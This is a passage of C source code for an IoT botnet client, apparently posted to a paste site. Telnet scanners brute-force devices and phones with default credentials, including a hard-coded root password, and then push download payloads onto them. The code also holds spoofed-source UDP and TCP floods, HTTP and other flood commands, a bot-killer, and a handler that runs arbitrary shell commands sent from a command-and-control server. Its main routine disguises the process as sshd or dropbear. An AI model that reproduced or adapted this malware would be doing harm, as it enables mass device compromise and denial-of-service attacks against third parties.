  1888. if(send(fds[i].fd, passwords[fds[i].passwordInd], strlen(passwords[fds[i].passwordInd]), MSG_NOSIGNAL) < 0) {
  1889. fds[i].state = 0;
  1890. fds[i].complete = 1;
  1891. continue; }
  1892. if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) {
  1893. fds[i].state = 0;
  1894. fds[i].complete = 1;
  1895. continue; }
  1896. fds[i].state = 6;
  1897. }
  1898. break;
  1899. case 6: {
  1900. if (read_until_response(fds[i].fd, 10000, fds[i].sockbuf, 512, advances2)) {
  1901. fds[i].totalTimeout = time(NULL);
  1902. if (contains_fail(fds[i].sockbuf)) {
  1903. fds[i].state = 0;
  1904. } else {
  1905. HackerPrint(D1ckSucka, "\x1b[36mDevice Cracked \x1b[32m-> \x1b[37m%s | \x1b[36mUsername \x1b[32m-> \x1b[37m%s | \x1b[36mPassword \x1b[32m-> \x1b[37m%s\x1b[0m", get_telstate_host(&fds[i]), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  1906. fds[i].state = 7;
  1907. } continue; }
  1908. if (fds[i].totalTimeout + 7 < time(NULL)) {
  1909. fds[i].state = 0;
  1910. fds[i].complete = 1;
  1911. }
  1912. }
  1913. break;
  1914. case 7: {
  1915. if(send(fds[i].fd, TelnetPayload2, strlen(TelnetPayload2), MSG_NOSIGNAL) < 0) {
  1916. fds[i].state = 0;
  1917. fds[i].complete = 1;
  1918. continue; }
  1919. fds[i].state = 8;
  1920. }
  1921. break;
  1922. case 8: {
  1923. fds[i].totalTimeout = time(NULL);
  1924. if(send(fds[i].fd, TelnetPayload, strlen(TelnetPayload), MSG_NOSIGNAL) < 0) {
  1925. sclose(fds[i].fd);
  1926. fds[i].state = 0;
  1927. fds[i].complete = 1;
  1928. continue; }
  1929. fds[i].complete = 3;
  1930. if(fds[i].totalTimeout + 60 < time(NULL)) {
  1931. if(fds[i].complete !=3){
  1932. }
  1933. fds[i].state = 0;
  1934. fds[i].complete = 1;
  1935. }
  1936. break;
  1937. }
  1938. }
  1939. }
  1940. }
  1941. }
  1942. //Phone scanner by cheats
  1943. void PhoneScanner() {
  1944. int maxfds = 512, i, res, j, valopt;
  1945. int max = maxfds;
  1946. char buf[128], cur_dir;
  1947. fd_set fdset;
  1948. struct timeval tv;
  1949. socklen_t lon;
  1950. srand(time(NULL) ^ rand_cmwc());
  1951. char line[256];
  1952. char* buffer;
  1953. struct sockaddr_in dest_addr;
  1954. dest_addr.sin_family = AF_INET;
  1955. dest_addr.sin_port = htons(23);
  1956. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1957. buffer = malloc(512 + 1);
  1958. memset(buffer, 0, 512 + 1);
  1959. struct telstate_t fds[max];
  1960. memset(fds, 0, max * (sizeof(int) + 1));
  1961. for(i = 0; i < max; i++) {
  1962. memset(&(fds[i]), 0, sizeof(struct telstate_t));
  1963. fds[i].complete = 1;
  1964. fds[i].sockbuf = buffer; }
  1965. while(1) {
  1966. for(i = 0; i < max; i++) {
  1967. if(fds[i].totalTimeout == 0) {
  1968. fds[i].totalTimeout = time(NULL); }
  1969. switch(fds[i].state) {
  1970. case 0: {
  1971. if(fds[i].complete == 1) {
  1972. char *tmp = fds[i].sockbuf;
  1973. memset(&(fds[i]), 0, sizeof(struct telstate_t));
  1974. fds[i].sockbuf = tmp;
  1975. fds[i].ip = PhoneScan(); }
  1976. dest_addr.sin_family = AF_INET;
  1977. dest_addr.sin_port = htons(23);
  1978. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1979. dest_addr.sin_addr.s_addr = fds[i].ip;
  1980. fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  1981. if(fds[i].fd == -1) continue;
  1982. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  1983. if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS) {
  1984. sclose(fds[i].fd);
  1985. fds[i].complete = 1; }
  1986. else {
  1987. fds[i].state = 1;
  1988. fds[i].totalTimeout = 0;
  1989. }
  1990. }
  1991. break;
  1992. case 1: {
  1993. FD_ZERO(&fdset);
  1994. FD_SET(fds[i].fd, &fdset);
  1995. tv.tv_sec = 0;
  1996. tv.tv_usec = 10000;
  1997. res = select(fds[i].fd+1, NULL, &fdset, NULL, &tv);
  1998. if(res == 1) {
  1999. lon = sizeof(int);
  2000. valopt = 0;
  2001. getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  2002. if(valopt) {
  2003. sclose(fds[i].fd);
  2004. fds[i].state = 0;
  2005. fds[i].complete = 1;
  2006. } else {
  2007. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK));
  2008. fds[i].totalTimeout = 0;
  2009. fds[i].bufUsed = 0;
  2010. memset(fds[i].sockbuf, 0, 512);
  2011. fds[i].state = 2;
  2012. } continue; }
  2013. else if(res == -1) {
  2014. sclose(fds[i].fd);
  2015. fds[i].state = 0;
  2016. fds[i].complete = 1;
  2017. continue; }
  2018. if(fds[i].totalTimeout + 6 < time(NULL)) {
  2019. sclose(fds[i].fd);
  2020. fds[i].state = 0;
  2021. fds[i].complete = 1;
  2022. }
  2023. }
  2024. break;
  2025. case 2: {
  2026. if(read_until_response(fds[i].fd, 10000, fds[i].sockbuf, 512, phone)) {
  2027. if(contains_fail(fds[i].sockbuf)) {
  2028. fds[i].state = 0;
  2029. } else {
  2030. fds[i].state = 3; }
  2031. continue; }
  2032. if(fds[i].totalTimeout + 6 < time(NULL)) {
  2033. fds[i].state = 0;
  2034. fds[i].complete = 1;
  2035. }
  2036. }
  2037. break;
  2038. case 3: {
  2039. if(send(fds[i].fd, "admin\r\n", 7, MSG_NOSIGNAL) < 0) {
  2040. fds[i].state = 0;
  2041. fds[i].complete = 1;
  2042. continue; }
  2043. fds[i].state = 4;
  2044. }
  2045. break;
  2046. case 4: {
  2047. if(read_until_response(fds[i].fd, 10000, fds[i].sockbuf, 512, phone)) {
  2048. if(contains_fail(fds[i].sockbuf)) {
  2049. fds[i].state = 0;
  2050. } else {
  2051. fds[i].state = 5; }
  2052. continue; }
  2053. if(fds[i].totalTimeout + 6 < time(NULL)) {
  2054. fds[i].state = 0;
  2055. fds[i].complete = 1;
  2056. }
  2057. }
  2058. break;
  2059. case 5: {
  2060. if(send(fds[i].fd, "admin\r\n", 7, MSG_NOSIGNAL) < 0) {
  2061. fds[i].state = 0;
  2062. fds[i].complete = 1;
  2063. continue; }
  2064. fds[i].state = 6; }
  2065. break;
  2066. case 6: {
  2067. if (read_until_response(fds[i].fd, 10000, fds[i].sockbuf, 512, advances2)) {
  2068. fds[i].totalTimeout = time(NULL);
  2069. if (contains_fail(fds[i].sockbuf)) {
  2070. fds[i].state = 0;
  2071. } else {
  2072. HackerPrint(D1ckSucka, "\x1b[31mPhone Cracked \x1b[32m-> \x1b[37m%s | \x1b[31mUsername \x1b[32m-> \x1b[37madmin | \x1b[31mPassword \x1b[32m-> \x1b[37madmin\x1b[0m", get_telstate_host(&fds[i]));
  2073. fds[i].state = 7;
  2074. } continue; }
  2075. if (fds[i].totalTimeout + 7 < time(NULL)) {
  2076. fds[i].state = 0;
  2077. fds[i].complete = 1;
  2078. }
  2079. }
  2080. break;
  2081. case 7: {
  2082. if(send(fds[i].fd, "su\r\n", 4, MSG_NOSIGNAL) < 0) {
  2083. fds[i].state = 0;
  2084. fds[i].complete = 1;
  2085. continue; }
  2086. fds[i].state = 8;
  2087. }
  2088. break;
  2089. case 8: {
  2090. if(read_until_response(fds[i].fd, 10000, fds[i].sockbuf, 512, phone)) {
  2091. if(contains_fail(fds[i].sockbuf)) {
  2092. fds[i].state = 0;
  2093. } else {
  2094. fds[i].state = 9; }
  2095. continue; }
  2096. if(fds[i].totalTimeout + 6 < time(NULL)) {
  2097. fds[i].state = 0;
  2098. fds[i].complete = 1;
  2099. }
  2100. }
  2101. break;
  2102. case 9: {
  2103. if(send(fds[i].fd, "oelinux123\r\n", 12, MSG_NOSIGNAL) < 0) {
  2104. fds[i].state = 0;
  2105. fds[i].complete = 1;
  2106. continue; }
  2107. fds[i].state = 10;
  2108. }
  2109. break;
  2110. case 10: {
  2111. fds[i].totalTimeout = time(NULL);
  2112. if(send(fds[i].fd, phonepayload, strlen(phonepayload), MSG_NOSIGNAL) < 0) {
  2113. sclose(fds[i].fd);
  2114. fds[i].state = 0;
  2115. fds[i].complete = 1;
  2116. continue; }
  2117. fds[i].complete = 3;
  2118. if(fds[i].totalTimeout + 60 < time(NULL)) {
  2119. if(fds[i].complete !=3){
  2120. }
  2121. fds[i].state = 0;
  2122. fds[i].complete = 1;
  2123. }
  2124. break;
  2125. }
  2126. }
  2127. }
  2128. }
  2129. }
  2130. void sendUDP(unsigned char *target, int port, int timeEnd, int spoofit, int packetsize, int pollinterval) {
  2131. struct sockaddr_in dest_addr;
  2132. dest_addr.sin_family = AF_INET;
  2133. if(port == 0) dest_addr.sin_port = rand_cmwc();
  2134. else dest_addr.sin_port = htons(port);
  2135. if(getHost(target, &dest_addr.sin_addr)) return;
  2136. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  2137. register unsigned int pollRegister;
  2138. pollRegister = pollinterval;
  2139. if(spoofit == 32) {
  2140. int sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
  2141. if(!sockfd) {
  2142. return; }
  2143. unsigned char *buf = (unsigned char *)malloc(packetsize + 1);
  2144. if(buf == NULL) return;
  2145. memset(buf, 0, packetsize + 1);
  2146. makeRandomStr(buf, packetsize);
  2147. int end = time(NULL) + timeEnd;
  2148. register unsigned int i = 0;
  2149. while(1) {
  2150. sendto(sockfd, buf, packetsize, 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  2151. if(i == pollRegister) {
  2152. if(port == 0) dest_addr.sin_port = rand_cmwc();
  2153. if(time(NULL) > end) break;
  2154. i = 0;
  2155. continue; }
  2156. i++; }
  2157. } else {
  2158. int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
  2159. if(!sockfd)
  2160. {
  2161. return; }
  2162. int tmp = 1;
  2163. if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
  2164. { return; }
  2165. int counter = 50;
  2166. while(counter--) {
  2167. srand(time(NULL) ^ rand_cmwc());
  2168. init_rand(rand()); }
  2169. in_addr_t netmask;
  2170. if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
  2171. else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  2172. unsigned char packet[sizeof(struct iphdr) + sizeof(struct udphdr) + packetsize];
  2173. struct iphdr *iph = (struct iphdr *)packet;
  2174. struct udphdr *udph = (void *)iph + sizeof(struct iphdr);
  2175. makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( HackerScan(netmask) ), IPPROTO_UDP, sizeof(struct udphdr) + packetsize);
  2176. udph->len = htons(sizeof(struct udphdr) + packetsize);
  2177. udph->source = rand_cmwc();
  2178. udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  2179. udph->check = 0;
  2180. makeRandomStr((unsigned char*)(((unsigned char *)udph) + sizeof(struct udphdr)), packetsize);
  2181. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  2182. int end = time(NULL) + timeEnd;
  2183. register unsigned int i = 0;
  2184. while(1) {
  2185. sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  2186. udph->source = rand_cmwc();
  2187. udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  2188. iph->id = rand_cmwc();
  2189. iph->saddr = htonl( HackerScan(netmask) );
  2190. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  2191. if(i == pollRegister) {
  2192. if(time(NULL) > end) break;
  2193. i = 0;
  2194. continue; }
  2195. i++;
  2196. }
  2197. }
  2198. }
  2199. void sendTCP(unsigned char *target, int port, int timeEnd, int spoofit, unsigned char *flags, int packetsize, int pollinterval) {
  2200. register unsigned int pollRegister;
  2201. pollRegister = pollinterval;
  2202. struct sockaddr_in dest_addr;
  2203. dest_addr.sin_family = AF_INET;
  2204. if(port == 0) dest_addr.sin_port = rand_cmwc();
  2205. else dest_addr.sin_port = htons(port);
  2206. if(getHost(target, &dest_addr.sin_addr)) return;
  2207. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  2208. int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
  2209. if(!sockfd) {
  2210. return; }
  2211. int tmp = 1;
  2212. if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0) {
  2213. return; }
  2214. in_addr_t netmask;
  2215. if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
  2216. else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  2217. unsigned char packet[sizeof(struct iphdr) + sizeof(struct tcphdr) + packetsize];
  2218. struct iphdr *iph = (struct iphdr *)packet;
  2219. struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
  2220. makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( HackerScan(netmask) ), IPPROTO_TCP, sizeof(struct tcphdr) + packetsize);
  2221. tcph->source = rand_cmwc();
  2222. tcph->seq = rand_cmwc();
  2223. tcph->ack_seq = 0;
  2224. tcph->doff = 5;
  2225. if(!strcmp(flags, "all")) {
  2226. tcph->syn = 1;
  2227. tcph->rst = 1;
  2228. tcph->fin = 1;
  2229. tcph->ack = 1;
  2230. tcph->psh = 1;
  2231. tcph->urg_ptr = 1;
  2232. } else {
  2233. unsigned char *pch = strtok(flags, ",");
  2234. while(pch) {
  2235. if(!strcmp(pch, "syn")) { tcph->syn = 1;
  2236. } else if(!strcmp(pch, "rst")) { tcph->rst = 1;
  2237. } else if(!strcmp(pch, "fin")) { tcph->fin = 1;
  2238. } else if(!strcmp(pch, "ack")) { tcph->ack = 1;
  2239. } else if(!strcmp(pch, "psh")) { tcph->psh = 1;
  2240. } else if(!strcmp(pch, "urg")) { tcph->urg_ptr = 1;//spooky shit man
  2241. } else {
  2242. }
  2243. pch = strtok(NULL, ",");
  2244. }
  2245. }
  2246. tcph->window = rand_cmwc();
  2247. tcph->check = 0;
  2248. tcph->urg_ptr = 0;
  2249. tcph->dest = (port == 0 ? rand_cmwc() : htons(port));
  2250. tcph->check = tcpcsum(iph, tcph);
  2251. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  2252. int end = time(NULL) + timeEnd;
  2253. register unsigned int i = 0;
  2254. while(1) {
  2255. sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  2256. iph->saddr = htonl( HackerScan(netmask) );
  2257. iph->id = rand_cmwc();
  2258. tcph->seq = rand_cmwc();
  2259. tcph->source = rand_cmwc();
  2260. tcph->check = 0;
  2261. tcph->check = tcpcsum(iph, tcph);
  2262. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  2263. if(i == pollRegister) {
  2264. if(time(NULL) > end) break;
  2265. i = 0;
  2266. continue; }
  2267. i++;
  2268. }
  2269. }
  2270. void processCmd(int argc, unsigned char *argv[])
  2271. {
  2272. int x;
  2273. if(!strcmp(argv[0], "PING")) {
  2274. HackerPrint(D1ckSucka, "PONG!");
  2275. return;
  2276. }
  2277. if(!strcmp(argv[0], "GETLOCALIP")) {
  2278. HackerPrint(D1ckSucka, "My IP: %s", inet_ntoa(ourIP));
  2279. return;
  2280. }
  2281. if(!strcmp(argv[0], "BOTKILL")) {
  2282. if(!listFork()) {
  2283. HackerPrint(D1ckSucka, "Killing Bots");
  2284. botkiller();
  2285. _exit(0);
  2286. }
  2287. }
  2288. if(!strcmp(argv[0], "SCANNER")) {
  2289. if(argc != 2) {
  2290. HackerPrint(D1ckSucka, "SCANNER ON | OFF");
  2291. return; }
  2292. if(!strcmp(argv[1], "OFF")) {
  2293. if(scanPid == 0) return;
  2294. kill(scanPid, 9);
  2295. HackerPrint(D1ckSucka, " OFF");
  2296. scanPid = 0; }
  2297. if(!strcmp(argv[1], "ON")) {
  2298. if(scanPid != 0) return;
  2299. uint32_t parent;
  2300. parent = fork();
  2301. if (parent > 0) { scanPid = parent; return;}
  2302. else if(parent == -1) return;
  2303. StartTheLelz();
  2304. _exit(0);
  2305. }
  2306. }
  2307. if(!strcmp(argv[0], "PHONE")) {
  2308. if(argc != 2) {
  2309. HackerPrint(D1ckSucka, "PHONE ON | OFF");
  2310. return; }
  2311. if(!strcmp(argv[1], "OFF")) {
  2312. if(Phonepid == 0) return;
  2313. kill(Phonepid, 9);
  2314. HackerPrint(D1ckSucka, "PHONE SCANNER OFF:%s", inet_ntoa(ourIP));
  2315. Phonepid = 0; }
  2316. if(!strcmp(argv[1], "ON")) {
  2317. if(Phonepid != 0) return;
  2318. uint32_t parent;
  2319. parent = fork();
  2320. if (parent > 0) { Phonepid = parent; return;}
  2321. else if(parent == -1) return;
  2322. PhoneScanner();
  2323. _exit(0);
  2324. }
  2325. }
  2326. if(!strcmp(argv[0], "ICMP"))
  2327. {
  2328. if(argc < 2)
  2329. {
  2330. return;
  2331. }else{
  2332. unsigned char *ipzz = argv[1];
  2333. int PacketSize = atoi(argv[2]);
  2334. int Intervalz = atoi(argv[3]);
  2335. int TimeNeg = atoi(argv[4]);
  2336. if(!listFork())
  2337. {
  2338. ICMPFlood(ipzz, PacketSize, Intervalz, TimeNeg);
  2339. _exit(0);
  2340. }
  2341. return;
  2342. }
  2343. }
  2344. if(!strcmp(argv[0], "UDP")) {
  2345. if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[5]) == -1 || atoi(argv[5]) > 65500 || atoi(argv[4]) > 32 || (argc == 7 && atoi(argv[6]) < 1)) {
  2346. return; }
  2347. unsigned char *ip = argv[1];
  2348. int port = atoi(argv[2]);
  2349. int time = atoi(argv[3]);
  2350. int spoofed = atoi(argv[4]);
  2351. int packetsize = atoi(argv[5]);
  2352. int pollinterval = (argc == 7 ? atoi(argv[6]) : 10);
  2353. if(strstr(ip, ",") != NULL) {
  2354. unsigned char *hi = strtok(ip, ",");
  2355. while(hi != NULL) {
  2356. if(!listFork()) {
  2357. sendUDP(hi, port, time, spoofed, packetsize, pollinterval);
  2358. _exit(0); }
  2359. hi = strtok(NULL, ","); }
  2360. } else {
  2361. if (listFork()) { return; }
  2362. sendUDP(ip, port, time, spoofed, packetsize, pollinterval);
  2363. _exit(0);
  2364. }
  2365. }
  2366. if (!strcmp((const char *)argv[0], "HTTP")) {
  2367. if (argc < 6) {
  2368. return; }
  2369. if (strstr((const char *)argv[1], ",") != NULL) {
  2370. unsigned char *hi = (unsigned char *)strtok((char *)argv[1], ",");
  2371. while (hi != NULL) {
  2372. if (!listFork()) {
  2373. sendHTTP((char*)argv[1], (char*)argv[2], atoi((char*)argv[3]), (char*)argv[4], atoi((char*)argv[5]), atoi((char*)argv[6]));
  2374. _exit(0); }
  2375. hi = (unsigned char *)strtok(NULL, ","); }
  2376. } else {
  2377. if (listFork()) {
  2378. return; }
  2379. sendHTTP((char*)argv[1], (char*)argv[2], atoi((char*)argv[3]), (char*)argv[4], atoi((char*)argv[5]), atoi((char*)argv[6]));
  2380. _exit(0);
  2381. }
  2382. }
  2383. if(!strcmp(argv[0], "STD")) {
  2384. if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  2385. { return; }
  2386. unsigned char *ip = argv[1];
  2387. int port = atoi(argv[2]);
  2388. int time = atoi(argv[3]);
  2389. if(strstr(ip, ",") != NULL) {
  2390. unsigned char *hi = strtok(ip, ",");
  2391. while(hi != NULL) {
  2392. if(!listFork()) {
  2393. sendSTD(hi, port, time);
  2394. _exit(0); }
  2395. hi = strtok(NULL, ","); }
  2396. } else {
  2397. if (listFork()) { return; }
  2398. sendSTD(ip, port, time);
  2399. _exit(0);
  2400. }
  2401. }
  2402. if(!strcmp(argv[0], "UKN")) {
  2403. if(argc < 3 || atoi(argv[2]) < 1) {
  2404. return; }
  2405. unsigned char *ip = argv[1];
  2406. int time = atoi(argv[2]);
  2407. if(strstr(ip, ",") != NULL) {
  2408. unsigned char *hi = strtok(ip, ",");
  2409. while(hi != NULL) {
  2410. if(!listFork()) {
  2411. sendUKNOWN(ip, time);
  2412. _exit(0); }
  2413. hi = strtok(NULL, ","); }
  2414. } else {
  2415. if (listFork()) { return; }
  2416. sendUKNOWN(ip, time);
  2417. _exit(0);
  2418. }
  2419. }
  2420. if(!strcmp(argv[0], "TCP")) {
  2421. if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[4]) > 32 || (argc > 6 && atoi(argv[6]) < 0) || (argc == 8 && atoi(argv[7]) < 1)) {
  2422. return; }
  2423. unsigned char *ip = argv[1];
  2424. int port = atoi(argv[2]);
  2425. int time = atoi(argv[3]);
  2426. int spoofed = atoi(argv[4]);
  2427. unsigned char *flags = argv[5];
  2428. int pollinterval = argc == 8 ? atoi(argv[7]) : 10;
  2429. int psize = argc > 6 ? atoi(argv[6]) : 0;
  2430. if(strstr(ip, ",") != NULL) {
  2431. unsigned char *hi = strtok(ip, ",");
  2432. while(hi != NULL) {
  2433. if(!listFork()) {
  2434. sendTCP(hi, port, time, spoofed, flags, psize, pollinterval);
  2435. _exit(0); }
  2436. hi = strtok(NULL, ","); }
  2437. } else {
  2438. if (listFork()) { return; }
  2439. sendTCP(ip, port, time, spoofed, flags, psize, pollinterval);
  2440. _exit(0);
  2441. }
  2442. }
  2443. if(!strcmp(argv[0], "RANGE")) {
  2444. if(argc < 2 || atoi(argv[1]) == -1){
  2445. HackerPrint(D1ckSucka, "RANGE <option 0-idk>");
  2446. }else{
  2447. HackerPrint(D1ckSucka, "Range %d->%d", rangechoice, atoi(argv[1]));
  2448. rangechoice = atoi(argv[1]);
  2449. }
  2450. return;
  2451. }
  2452. if(!strcmp(argv[0], "STOP")) {
  2453. int killed = 0;
  2454. unsigned long i;
  2455. for (i = 0; i < numpids; i++) {
  2456. if (pids[i] != 0 && pids[i] != getpid()) {
  2457. kill(pids[i], 9);
  2458. killed++;
  2459. }
  2460. }
  2461. }
  2462. if(!strcmp(argv[0], "HOODASSSHIT")) {
  2463. exit(0);
  2464. }
  2465. }
  2466. int initConnection() {
  2467. unsigned char server[4096];
  2468. memset(server, 0, 4096);
  2469. if(D1ckSucka) { close(D1ckSucka); D1ckSucka = 0; }
  2470. if(D1ckSuckaz + 1 == SERVER_LIST_SIZE) D1ckSuckaz = 0;
  2471. else D1ckSuckaz++;
  2472. strcpy(server, D3cOdeMePlS[D1ckSuckaz]);
  2473. int port = Server_Botport;
  2474. if(strchr(server, ':') != NULL) {
  2475. port = atoi(strchr(server, ':') + 1);
  2476. *((unsigned char *)(strchr(server, ':'))) = 0x0; }
  2477. D1ckSucka = socket(AF_INET, SOCK_STREAM, 0);
  2478. if(!connectTimeout(D1ckSucka, server, port, 30)) return 1;
  2479. return 0;
  2480. }
  2481. int getOurIP() {
  2482. int sock = socket(AF_INET, SOCK_DGRAM, 0);
  2483. if(sock == -1) return 0;
  2484. struct sockaddr_in serv;
  2485. memset(&serv, 0, sizeof(serv));
  2486. serv.sin_family = AF_INET;
  2487. serv.sin_addr.s_addr = inet_addr("8.8.8.8");
  2488. serv.sin_port = htons(53);
  2489. int err = connect(sock, (const struct sockaddr*) &serv, sizeof(serv));
  2490. if(err == -1) return 0;
  2491. struct sockaddr_in name;
  2492. socklen_t namelen = sizeof(name);
  2493. err = getsockname(sock, (struct sockaddr*) &name, &namelen);
  2494. if(err == -1) return 0;
  2495. ourIP.s_addr = name.sin_addr.s_addr;
  2496. int cmdline = open("/proc/net/route", O_RDONLY);
  2497. char linebuf[4096];
  2498. while(fdgets(linebuf, 4096, cmdline) != NULL)
  2499. {
  2500. if(strstr(linebuf, "\t00000000\t") != NULL)
  2501. {
  2502. unsigned char *pos = linebuf;
  2503. while(*pos != '\t') pos++;
  2504. *pos = 0;
  2505. break;
  2506. }
  2507. memset(linebuf, 0, 4096);
  2508. }
  2509. close(cmdline);
  2510. if(*linebuf)
  2511. {
  2512. int i;
  2513. struct ifreq ifr;
  2514. strcpy(ifr.ifr_name, linebuf);
  2515. ioctl(sock, SIOCGIFHWADDR, &ifr);
  2516. for (i=0; i<6; i++) macAddress[i] = ((unsigned char*)ifr.ifr_hwaddr.sa_data)[i];
  2517. }
  2518. close(sock);
  2519. }
  2520. char *getBuild()
  2521. {
  2522. if(access("/usr/bin/python", F_OK) != -1){
  2523. return "SERVER";
  2524. } else {
  2525. return "ROUTER";
  2526. }
  2527. }
  2528. int main(int argc, unsigned char *argv[])
  2529. {
  2530. char *mynameis = "";
  2531. if(access("/usr/bin/python", F_OK) != -1){
  2532. mynameis = "sshd";
  2533. } else {
  2534. mynameis = "/usr/sbin/dropbear";
  2535. }
  2536. if(geteuid() == 0){
  2537. userID = 0;
  2538. }
  2539. char *Buildz = getBuild();
  2540. if(Buildz == "SERVER")
  2541. {
  2542. //If python is installed
  2543. } else {
  2544. //If python is not installed
  2545. }
  2546. if(SERVER_LIST_SIZE <= 0) return 0;
  2547. printf("%s\n", getBuild());
  2548. strncpy(argv[0],"",strlen(argv[0]));
  2549. sprintf(argv[0], mynameis);
  2550. prctl(PR_SET_NAME, (unsigned long) mynameis, 0, 0, 0);
  2551. srand(time(NULL) ^ getpid());
  2552. init_rand(time(NULL) ^ getpid());
  2553. pid_t pid1;
  2554. pid_t pid2;
  2555. int status;
  2556. getOurIP();
  2557. if (pid1 = fork()) {
  2558. waitpid(pid1, &status, 0);
  2559. exit(0);
  2560. } else if (!pid1) {
  2561. if (pid2 = fork()) {
  2562. exit(0);
  2563. } else if (!pid2) {
  2564. } else {
  2565. //N
  2566. }
  2567. } else {
  2568. //N
  2569. }
  2570. setsid();
  2571. chdir("/");
  2572. signal(SIGPIPE, SIG_IGN);
  2573. while(1)
  2574. {
  2575. if(initConnection()) { sleep(5); continue; }
  2576. HackerPrint(D1ckSucka, "\x1b[32mDEVICE CONNECTED \x1b[31m-> \x1b[37m%s | \x1b[32mTYPE \x1b[31m-> \x1b[37m%s", inet_ntoa(ourIP), getBuild());
  2577. char commBuf[4096];
  2578. int got = 0;
  2579. int i = 0;
  2580. while((got = recvLine(D1ckSucka, commBuf, 4096)) != -1)
  2581. {
  2582. for (i = 0; i < numpids; i++) if (waitpid(pids[i], NULL, WNOHANG) > 0) {
  2583. unsigned int *newpids, on;
  2584. for (on = i + 1; on < numpids; on++) pids[on-1] = pids[on];
  2585. pids[on - 1] = 0;
  2586. numpids--;
  2587. newpids = (unsigned int*)malloc((numpids + 1) * sizeof(unsigned int));
  2588. for (on = 0; on < numpids; on++) newpids[on] = pids[on];
  2589. free(pids);
  2590. pids = newpids;
  2591. }
  2592. commBuf[got] = 0x00;
  2593. trim(commBuf);
  2594. if(strstr(commBuf, "PING") == commBuf)
  2595. {
  2596. HackerPrint(D1ckSucka, "PONG");
  2597. continue;
  2598. }
  2599. if(strstr(commBuf, "DUP") == commBuf) exit(0);
  2600. unsigned char *message = commBuf;
  2601. if(*message == '!')
  2602. {
  2603. unsigned char *nickMask = message + 1;
  2604. while(*nickMask != ' ' && *nickMask != 0x00) nickMask++;
  2605. if(*nickMask == 0x00) continue;
  2606. *(nickMask) = 0x00;
  2607. nickMask = message + 1;
  2608. message = message + strlen(nickMask) + 2;
  2609. while(message[strlen(message) - 1] == '\n' || message[strlen(message) - 1] == '\r') message[strlen(message) - 1] = 0x00;
  2610. unsigned char *command = message;
  2611. while(*message != ' ' && *message != 0x00) message++;
  2612. *message = 0x00;
  2613. message++;
  2614. unsigned char *tmpcommand = command;
  2615. while(*tmpcommand) { *tmpcommand = toupper(*tmpcommand); tmpcommand++; }
  2616. if(strcmp(command, "MOVE") == 0)
  2617. {
  2618. unsigned char buf[1024];
  2619. int command;
  2620. if (listFork()) continue;
  2621. memset(buf, 0, 1024);
  2622. szprintf(buf, "%s 2>&1", message);
  2623. command = fdpopen(buf, "r");
  2624. while(fdgets(buf, 1024, command) != NULL)
  2625. {
  2626. trim(buf);
  2627. memset(buf, 0, 1024);
  2628. sleep(1);
  2629. }
  2630. fdpclose(command);
  2631. exit(0);
  2632. }
  2633. unsigned char *params[10];
  2634. int paramsCount = 1;
  2635. unsigned char *pch = strtok(message, " ");
  2636. params[0] = command;
  2637. while(pch)
  2638. {
  2639. if(*pch != '\n')
  2640. {
  2641. params[paramsCount] = (unsigned char *)malloc(strlen(pch) + 1);
  2642. memset(params[paramsCount], 0, strlen(pch) + 1);
  2643. strcpy(params[paramsCount], pch);
  2644. paramsCount++;
  2645. }
  2646. pch = strtok(NULL, " ");
  2647. }
  2648. processCmd(paramsCount, params);
  2649. if(paramsCount > 1)
  2650. {
  2651. int q = 1;
  2652. for(q = 1; q < paramsCount; q++)
  2653. {
  2654. free(params[q]);
  2655. }
  2656. }
  2657. }
  2658. }
  2659. }
  2660. return 0;
  2661. }
Advertisement
Add Comment
Please, Sign In to add comment